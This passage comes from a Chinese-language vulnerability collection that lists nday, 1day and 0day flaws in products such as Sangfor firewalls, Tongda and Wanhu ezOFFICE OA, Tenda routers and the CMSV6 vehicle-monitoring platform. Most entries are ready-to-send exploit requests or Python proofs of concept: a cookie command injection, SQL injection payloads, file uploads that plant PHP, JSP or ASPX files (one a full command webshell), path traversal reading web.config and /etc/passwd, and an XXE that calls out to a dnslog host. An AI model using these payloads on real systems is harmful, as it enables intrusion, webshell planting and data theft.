Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Content-Length: 1265

data1=O%3A33%3A%22setasign%5CFpdi%5CPdfReader%5CPdfReader%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00parser%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A12%3A%7B
```

深信服

深信服-下一代防火墙-RCE

- 漏洞类型：nday - RCE
- 涉及版本：<=AF8.0.17
- 利用路径：/cgi-bin/login.cgi
- 漏洞详情：

```
POST /cgi-bin/login.cgi HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like
Gecko) Chrome/44.0.2403.155 Safari/537.36
Connection: close
Content-Length: 112
Content-Type: Application/X-www-Form
Cookie: PHPSESSID=`$(echo 156828301~ >
/fwlib/sys/virus/webui/svpn_html/qwer.txt)`;
Accept-Encoding: gzip

{\"opr\":\"login\", \"data\":{\"user\": \"watchTowr\" , \"pwd\": \"watchTowr\" ,
\"vericode\": \"EINW\" , \"privacy_enable\": \"0\"}}
```

深信服 SSL VPN 短信验证码暴力猜解漏洞

- 漏洞类型：1day - 未授权访问
- 涉及版本：M7.1~M7.6.9R4
- 利用路径：未知
- 漏洞详情：

```
深信服VPN问题，影响版本为M7.1~M7.6.9R4，在设备开启找回密码功能且已获知用户账号的前提下可能存在
暴力破解验证码，从而修改用户密码的问题。
```

世邦通信

世邦通信 SPON IP 网络对讲广播系统addmediadata.php任意文件上传漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/php/addmediadata.php
- 漏洞详情：

```
POST /php/addmediadata.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16Content-
Length: 514
Content-Type: multipart/form-data;
boundary=de3b7a45ced9f35720e192ff54eb83908644f0ec70b3dc6fb19b6b5f0828
Accept-Encoding: gzip, deflate, br
Connection: close

--de3b7a45ced9f35720e192ff54eb83908644f0ec70b3dc6fb19b6b5f0828
Content-Disposition: form-data; name="fullpath"
../--de3b7a45ced9f35720e192ff54eb83908644f0ec70b3dc6fb19b6b5f0828
Content-Disposition: form-data; name="subpath"
/--de3b7a45ced9f35720e192ff54eb83908644f0ec70b3dc6fb19b6b5f0828
Content-Disposition: form-data; name="file"; filename="test.php" Content-Type:
application/octet-stream
```

```
<?php echo md5(1);unlink(__FILE__);?>
--de3b7a45ced9f35720e192ff54eb83908644f0ec70b3dc6fb19b6b5f0828--
```

世邦通信SPON-IP网络对讲广播系统addmediadata.php任意文件上传漏洞(XVE-2024-19281)

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/php/addmediadata.php
- 漏洞详情：

```
POST /php/addmediadata.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Content-Length: 514
Content-Type: multipart/form-
data;boundary=de3b7a45ced9f35720e192ff54eb83908644f0ec70b3dc6fb19b6b5f08
Accept-Encoding: gzip, deflate, br
Connection: close

--de3b7a45ced9f35720e192ff54eb83908644f0ec70b3dc6fb19b6b5f0828
Content-Disposition: form-data; name="fullpath"

../
--de3b7a45ced9f35720e192ff54eb83908644f0ec70b3dc6fb19b6b5f0828
Content-Disposition: form-data; name="subpath"

/
--de3b7a45ced9f35720e192ff54eb83908644f0ec70b3dc6fb19b6b5f0828
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: application/octet-stream

<?php echo md5(1);unlink(__FILE__);?>
--de3b7a45ced9f35720e192ff54eb83908644f0ec70b3dc6fb19b6b5f0828--
```

数字通

指尖云平台-智慧政务payslip SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/payslip/search/index/userid/time/time?PayslipUser[user_id]=
- 漏洞详情：

```
GET /payslip/search/index/userid/time/time?PayslipUser[user_id]=(SELECT 4050
FROM(SELECT COUNT(*),CONCAT((mid((ifnull(cast(current_user() as
nchar),0x20)),1,54)),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY
x)a) HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Gecko/20100101 Firefox/117.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q
=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: GOASESSID=i589f58naalabocmbidup7ed13
Upgrade-Insecure-Requests: 1
```

数字通指尖云平台-智慧政务payslip SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/payslip/search/index/userid/time/time
- 漏洞详情：

```
GET /payslip/search/index/userid/time/time?PayslipUser[user_id]=(SELECT 4050
FROM(SELECT COUNT(*),CONCAT((mid((ifnull(cast(current_user() as
nchar),0x20)),1,54)),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY
x)a) HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Gecko/20100101 Firefox/117.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q
=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: GOASESSID=i589f58naalabocmbidup7ed13
Upgrade-Insecure-Requests: 1
```

拓尔思

拓尔思-TRSWAS5.0-PermissionAC文件上传

- 漏洞类型：nday - RCE
- 涉及版本：5.0
- 利用路径：/mas/servlets/uploadThumb?appKey=sv&uploading=1
- 漏洞详情：

```
/mas/servlets/uploadThumb?appKey=sv&uploading=1
```

拓尔思TRS媒资管理系统uploadThumb存在文件上传漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/mas/servlets/uploadThumb
- 漏洞详情：

```
POST /mas/servlets/uploadThumb?appKey=sv&uploadingId=asd HTTP/1.1
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySl8siBbmVicABvTX
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
------WebKitFormBoundarySl8siBbmVicABvTX
Content-Disposition: form-data; name="file"; filename="%2e%2e%2fwebapps%2fmas%2fa%2etxt"
Content-Type: application/octet-stream
1234
------WebKitFormBoundarySl8siBbmVicABvTX--
```

腾达

Tenda FH1201 v1.2.0.14接口WriteFacMac存在远程命令执行漏洞(CVE-2024-41473)

- 漏洞类型：nday - RCE
- 涉及版本：v1.2.0.14
- 利用路径：/goform/WriteFacMac
- 漏洞详情：

```
import requests

ip = '192.168.74.145'

url = "http://" + ip + "/goform/WriteFacMac"
payload = ";echo 'hacker!'"

data = {"mac": payload}
response = requests.post(url, data=data)
print(response.text)
```

Tenda FH1201 v1.2.0.14接口exeCommand存在远程命令执行漏洞(CVE-2024-41468)

- 漏洞类型：nday - RCE
- 涉及版本：v1.2.0.14
- 利用路径：/goform/exeCommand

- 漏洞详情：

```
import requests

ip = '192.168.74.145'

url = f"http://{ip}/goform/exeCommand"


data = "cmdinput=ls;"
ret = requests.post(url=url,data=data)
```

天问

天问物业 ERP 系统 AreaAvatarDownLoad.aspx 任意文件读取漏洞

- 漏洞类型：未知 - 任意文件读取
- 涉及版本：未知
- 利用路径：/HM/Main/InformationManage/AreaAvatarDownLoad.aspx
- 漏洞详情：

```
GET /HM/ Main/InformationManage/AreaAvatarDownLoad.aspx?AreaAvatar=../web.config
HT
TP/1.1Host: xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/116.0Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q
=0
8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-
US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateconnection:closeUpgrade-Insecure-
Requests: 1
```

天问物业ERP系统ContractDownLoad存在任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/HM/M_Main/WorkGeneral/docfileDownLoad.aspx?AdjunctFile=../web.config
- 漏洞详情：

```
/HM/M_Main/WorkGeneral/docfileDownLoad.aspx?AdjunctFile=../web.config
```

天问物业ERP系统OwnerVacantDownLoad存在任意文件读取漏洞

- 漏洞类型：1day - 任意文件读取
- 涉及版本：未知
- 利用路径：/HM/M_main/InformationManage/OwnerVacantDownLoad.aspx
- 漏洞详情：

```
GET /HM/M_main/InformationManage/OwnerVacantDownLoad.aspx?OwnerVacantFile=../web.config HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

天问物业ERP系统VacantDiscountDownLoad存在任意文件读取漏洞

- 漏洞类型：1day - 任意文件读取
- 涉及版本：未知
- 利用路径：/HM/M_main/InformationManage/VacantDiscountDownLoad.aspx
- 漏洞详情：

```
GET /HM/M_main/InformationManage/VacantDiscountDownLoad.aspx?VacantDiscountFile=../web.config HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

通达

通达OAV11.10接口login.php存在SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：11.10
- 利用路径：/ispirit/interface/login.php
- 漏洞详情：

```
POST /ispirit/interface/login.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/69.0.855.2 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Host:
Content-Length: 107

name=123&pass=123&_SERVER[REMOTE_ADDR]=1','10',(select+@`,'`+or+if(1% 3d0,1,
(select+~0%2b1))+limit+0,1))--+'
```

通天星

通天星 CMSV6 车载定位监控平台 disable SQL注入漏洞

- 漏洞类型：未知 - SQL注入
- 涉及版本：未知
- 利用路径：/edu security officer/disable;downloadLogger.action
- 漏洞详情：

```
GET /edu security officer/disable;downloadLogger.action?
ids=1+AND+%28SELECT+2688+FROM+%28SELECT%28SLEEP%285%29%29%29kOli%29 HTTP/1.1Host:
{{Hostname}}User-
Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko)Chrome/75.0.3770.100 Safari/537.36

```

通天星-主动安全监控云平台-RCE

- 漏洞类型：nday - RCE
- 涉及版本：version <= V7.32.0.2
- 利用路径：未知
- 漏洞详情：

```
未知
```

通天星 CMSV6 车载定位监控平台 merge 远程代码执行漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/point_manage/merge
- 漏洞详情：

```
POST /point_manage/merge HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101
Firefox/21.0Content-Type: application/x-www-form-urlencoded
id=1&name=1' UNION SELECT%0aNULL,
0x3c253d202268656c6c6f2220253e,NULL,NULL,NULL,NULL,NULL,NULL
INTO dumpfile '../../tomcat/webapps/gpsweb/YNFHiRkD.jsp' FROMuser_sessiona
WHERE '1 '='1
&type=3&map_id=4&install_place=5&check_item=6&create_time=7&update_ti
me=8
```

通天星 CMSV6 车载定位监控平台 SQL 注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/run_stop/delete.do
- 漏洞详情：

```
GET
/run_stop/delete.do;downloadLogger.action?
ids=1%29+union+select+0x3c25206f75742e7072696e746c6e282276756c22293b20253e+into+O
UTFILE+%27..%2F.. %2Ftomcat%2Fwebapps%2Fgpsweb%2Fvuln.jsp%27+--+a&loadAll=1
HTTP/1.1Host:
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate
Accept: */* Connection: keep-alive
```

通天星CMSV6车载视频监控平台SESSION伪造漏洞

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/808gps/LocationManagement/UserSessionAction_saveUserSession.action
- 漏洞详情：

```
POST /808gps/LocationManagement/UserSessionAction_saveUserSession.action HTTP/1.1
Host:
User-Agent:
Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:103.0)Gecko/20100101Firefox/103.0
Content-Type: application/x-www-form-urlencoded

userSession=42AA7A2BE767123A42E1530ACC920781&amp;amp;id=4
```

通天星CMSV6车载定位监控平台getAlarmAppealByGuid存在SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/alarm_appeal/getAlarmAppealByGuid;downloadLogger.action

- 漏洞详情：

```
POST /alarm_appeal/getAlarmAppealByGuid;downloadLogger.action HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101
Firefox/129.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/png,image/svg+xml,*/*;q=0.8
Accept-Encoding: gzip, deflate

guid=1') AND (SELECT 3904 FROM (SELECT(SLEEP(5)))PITq) AND ('qhqF'='qhqF
```

通天星CMSV6车载定位监控平台getAlarmAppealByGuid存在SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/alarm_appeal/getAlarmAppealByGuid;downloadLogger.action
- 漏洞详情：

```
POST /alarm_appeal/getAlarmAppealByGuid;downloadLogger.action HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101
Firefox/129.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/png,image/svg+xml,*/*;q=0.8
Accept-Encoding: gzip, deflate

guid=1') AND (SELECT 3904 FROM (SELECT(SLEEP(5)))PITq) AND ('qhqF'='qhqF
```

同享

同享TXEHR V15人力管理管理平台DownloadFile存在任意文件下载漏洞

- 漏洞类型：nday - 任意文件下载
- 涉及版本：未知
- 利用路径：/Service/DownloadTemplate.asmx
- 漏洞详情：

```
POST /Service/DownloadTemplate.asmx HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0)
Gecko/20100101 Firefox/127.0
```

```
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q
=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: ASP.NET_SessionId=f40br0ilcoosnxgllqrmltkd
Upgrade-Insecure-Requests: 1
Priority: u=1
SOAPAction: http://tempuri.org/DownloadFile
Content-Type: text/xml;charset=UTF-8
Host:
Content-Length: 310

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
      <tem:DownloadFile>
         <!--type: string-->
         <tem:path>../web.config</tem:path>
      </tem:DownloadFile>
   </soapenv:Body>
</soapenv:Envelope>
```

同享人力管理管理平台UploadHandler存在任意文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/Handler/UploadHandler.ashx
- 漏洞详情：

```
POST /Handler/UploadHandler.ashx?folder=Uploadfile2 HTTP/1.1
Host:
accept: */*
Content-Type: multipart/form-data; boundary=---------------------------123
Content-Length: 226
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------123
Content-Disposition: form-data; name="Filedata"; filename="12333.aspx"
Content-Type: text/plain
safdsfsfaa
-----------------------------123--
```

同享人力资源管理系统hdlUploadFile.ashx存在文件上传漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/MobileService/Web/Handler/hdlUploadFile.ashx
- 漏洞详情：

```
POST /MobileService/Web/Handler/hdlUploadFile.ashx?puser=../../../Style/rce HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.2558.72 Safari/537.36
Content-Type: multipart/form-data;boundary =---------------------------142851345723692939351758052805
Connection: close

-----------------------------142851345723692939351758052805
Content-Disposition: form-data; name="Filedata"; filename="rce.aspx"
Content-Type: text/plain

<%@ Page Language="Jscript" validateRequest="false" %>
<%
var c=new System.Diagnostics.ProcessStartInfo("cmd");
var e=new System.Diagnostics.Process();
var out:System.IO.StreamReader,EI:System.IO.StreamReader;
c.UseShellExecute=false;
c.RedirectStandardOutput=true;
c.RedirectStandardError=true;
e.StartInfo=c;
c.Arguments="/c " + Request.Item["cmd"];
e.Start();
out=e.StandardOutput;
EI=e.StandardError;
e.Close();
Response.Write(out.ReadToEnd() + EI.ReadToEnd());
System.IO.File.Delete(Request.PhysicalPath);
Response.End();%>
-----------------------------142851345723692939351758052805--
```

同鑫

同鑫eHR人力资源管理系统GetFlowDropDownListItems存在SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/Common/GetFlowDropDownListItems
- 漏洞详情：

```
POST /Common/GetFlowDropDownListItems HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=utf-8

FixedFormCode=1%27%20UNION%20ALL%20SELECT%20NULL%2C@@VERSION--
```

同鑫科技

同鑫科技 EHR 系统全系列 SQL 注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：未知
- 漏洞详情：

```
未知
```

万户

万户 OA SQL 注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/defaultroot/public/iWebOfficeSign/DocumentEdit_unite.jsp
- 漏洞详情：

```
sqlmap -u "http://xxx.com/defaultroot/public/iWebOfficeSign/DocumentEdit_unite.jsp;?RecordID=1" --level 3 -dbs
```

万户-ezOFFICE-OA-officeserver.jsp文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/defaultroot/public/iWebOfficeSign/OfficeServer.jsp
- 漏洞详情：

```
POST /defaultroot/public/iWebOfficeSign/OfficeServer.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0

DBSTEP V3.0     145             0               105             DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
RECORDID=
isDoc=dHJ1ZQ==
moduleType=Z292ZG9jdW1lbnQ=
FILETYPE=Ly8uLi8uLi9wdWJsaWMvZWRpdC83Yzc1QWYuanNw
<% out.println("5EA635");new
java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
```

万户协同办公平台ezoffice DocumentEdit_unite.jsp SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/defaultroot/public/iWebOfficeSign/DocumentEdit_unite.jsp;?RecordID=1
- 漏洞详情：

```
/defaultroot/public/iWebOfficeSign/DocumentEdit_unite.jsp;?RecordID=1
```

万户ezoffice wpsservlet任意文件上传

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/defaultroot/platform/portal/layout/check.jsp
- 漏洞详情：

```
import requests

def verify(ip):

    url = f'{ip}/defaultroot/platform/portal/layout/check.jsp'

    headers = {
        'Content-Type': 'multipart/form-data',
    }

    payload = '''
    --55aeb894de1521afe560c924fad7c6fb
    Content-Disposition: form-data; name="NewFile"; filename="check.jsp"

    <% out.print("This website has a vulnerability!!!");%>
    --55aeb894de1521afe560c924fad7c6fb--
    '''

    try:
        response = requests.post(url, headers=headers, data=payload)
        # 验证成功输出相关信息
        if response.status_code == 200 :
            print(f"{ip}存在万户ezoffice wpsservlet任意文件上传！！！")
        else:
            print('漏洞不存在。')

    except Exception as e:
        pass

if __name__ == '__main__':
    self = input('请输入目标主机IP地址：')
    verify(self)
```

万户ezOFFICE协同管理平台 getAutoCode SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/defaultroot/platform/custom/customizecenter/js/getAutoCode.jsp
- 漏洞详情：

```
GET /defaultroot/platform/custom/customizecenter/js/getAutoCode.jsp;.js?
pageId=1&head=2%27+AND+6205%3DDBMS_PIPE.RECEIVE_MESSAGE%28CHR%2898%29%7C%7CCHR%28
66%29%7C%7CCHR
%2890%29%7C%7CCHR%28108%29%2C5%29--+YJdO&field=field_name&tabName=tfield HTTP/1.1
Host:
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko)
Chrome/99.0.4844.84 Safari/537.36
```

万户 ezOFFICE download_ftp.jsp 任意文件下载漏洞

- 漏洞类型：1day - 任意文件下载
- 涉及版本：未知
- 利用路径：/defaultroot/download_ftp.jsp
- 漏洞详情：

```
GET
/defaultroot/download_ftp.jsp?path=/../WEB-INF/&name=aaa&FileName=web. xml
HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML,
like Gecko) Chrome/70.0.3538.77 Safari/537.36
```

万户 ezoffice graph_include.jspSQL注入漏洞

- 漏洞类型：0day - SQL注入
- 涉及版本：未知
- 利用路径：/defaultroot/platform/report/graphreport/graph_include.jsp
- 漏洞详情：

```
GET /defaultroot/platform/report/graphreport/graph_include.jsp?
id=2&startDate=2022-01-
01%2000:00:00.000%27%20as%20datetime)%20group%20by%20t.emp_id,t.empname%20)%20%20
s%20group%20by%20empname%20order%20by%20num%20desc%20%20WAITFOR%20DELAY%20%270:0:
5%27--
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: */*
Connection: close
```

万户 ezOFFICE receivefile_gd.jsp SQL 注入漏洞

- 漏洞类型：0day - SQL注入
- 涉及版本：未知
- 利用路径：/defaultroot/modules/govoffice/gov_documentmanager/receivefile_gd.jsp
- 漏洞详情：

```
GET
/defaultroot/modules/govoffice/gov_documentmanager/receivefile_gd.jsp;.js?
recordId=1;waitfor+delay+'0:0:5'--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0)
Gecko/20100101 Firefox/128.0
```

网件

Netgear-WN604接口downloadFile.php信息泄露漏洞(

- 漏洞类型：nday - 信息泄露
- 涉及版本：未知
- 利用路径：/downloadFile.php
- 漏洞详情：

```
GET /downloadFile.php?file=config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
```

Netgear WN604无线路由器siteSurvey.php存在未授权访问漏洞

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/siteSurvey.php
- 漏洞详情：

```
/siteSurvey.php
```

微商城

微商城系统api.php存在文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/api/api.php
- 漏洞详情：

```
POST /api/api.php?mod=upload&type=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTqkdY1lCvbvpmown

------WebKitFormBoundaryaKljzbg49Mq4ggLz
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryaKljzbg49Mq4ggLz--
```

微商城系统goods.php存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/goods.php
- 漏洞详情：

```
GET /goods.php?
id='+UNION+ALL+SELECT+NULL,NULL,NULL,CONCAT(IFNULL(CAST(MD5(1)+AS+NCHAR),0x20)),N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko)
Chrome/41.0.887.0 Safari/532.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
```

微信

wechat 3.9.11.25 self rce

- 漏洞类型：nday - RCE
- 涉及版本：3.9.11.25
- 利用路径：未知
- 漏洞详情：

```
未知
```

未知

证书查询系统存在任意文件读取漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/index/ajax/lang?lang=
- 漏洞详情：

```
GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
```

IP网络广播服务平台upload存在任意文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/api/v2/remote-upgrade/upload
- 漏洞详情：

```
POST /api/v2/remote-upgrade/upload HTTP/1.1
Host
Content-Length: 197
```

```
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytiZYyyKkbwCxtHC1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1/api/v2/remote-upgrade/upload
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Connection: close
------WebKitFormBoundarytiZYyyKkbwCxtHC1
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg
<?php phpinfo();?>
------WebKitFormBoundarytiZYyyKkbwCxtHC1--
```

物联网研究中心

私有云管理平台存在登录绕过漏洞

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/admin/#/login
- 漏洞详情：

```
登陆界面抓包改返回响应的数据
{"code":1000,"msg":"BscDYP2u0qLelgSB6XT1AxbULeN55ZayHYnmPEDnib4="}
```

中成科信

中成科信票务管理系统TicketManager.ashx存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/SystemManager/Api/TicketManager.ashx
- 漏洞详情：

```
POST /SystemManager/Api/TicketManager.ashx HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101
Firefox/128.0
Content-Type: application/x-www-form-urlencoded
Connection: close

Method=GetReServeOrder&solutionId=1' WAITFOR DELAY '0:0:5'--
```

西软云

西软云XMS-futurehotel/operate接口存在XXE漏洞

- 漏洞类型：nday - XXE
- 涉及版本：未知
- 利用路径：/XopServerRS/rest/futurehotel/operate
- 漏洞详情：

```
POST /XopServerRS/rest/futurehotel/operate HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/108.0.3157.54 Safari/537.36
Connection: close
Content-Type: text/xml
Accept-Encoding: gzip

<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://xxx.dnslog.cn"> %remote;]>

```

夏普

Sharp 多功能打印机未授权访问漏洞

- 漏洞类型：nday - 未授权访问
- 涉及版本：全版本
- 利用路径：/installed_emanual_list.html
- 漏洞详情：

```
/installed_emanual_list.html
```

向日葵

据说有全版本0day

- 漏洞类型：0day - RCE
- 涉及版本：全版本
- 利用路径：未知

- 漏洞详情：

```
未知
```

小狐狸

小狐狸Chatgpt付费创作系统存在任意文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/web.php/video/uploadMedia
- 漏洞详情：

```
POST /web.php/video/uploadMedia HTTP/1.1
Host: 127.0.0.1:81
Content-Length: 594
Cache-Control: max-age=0
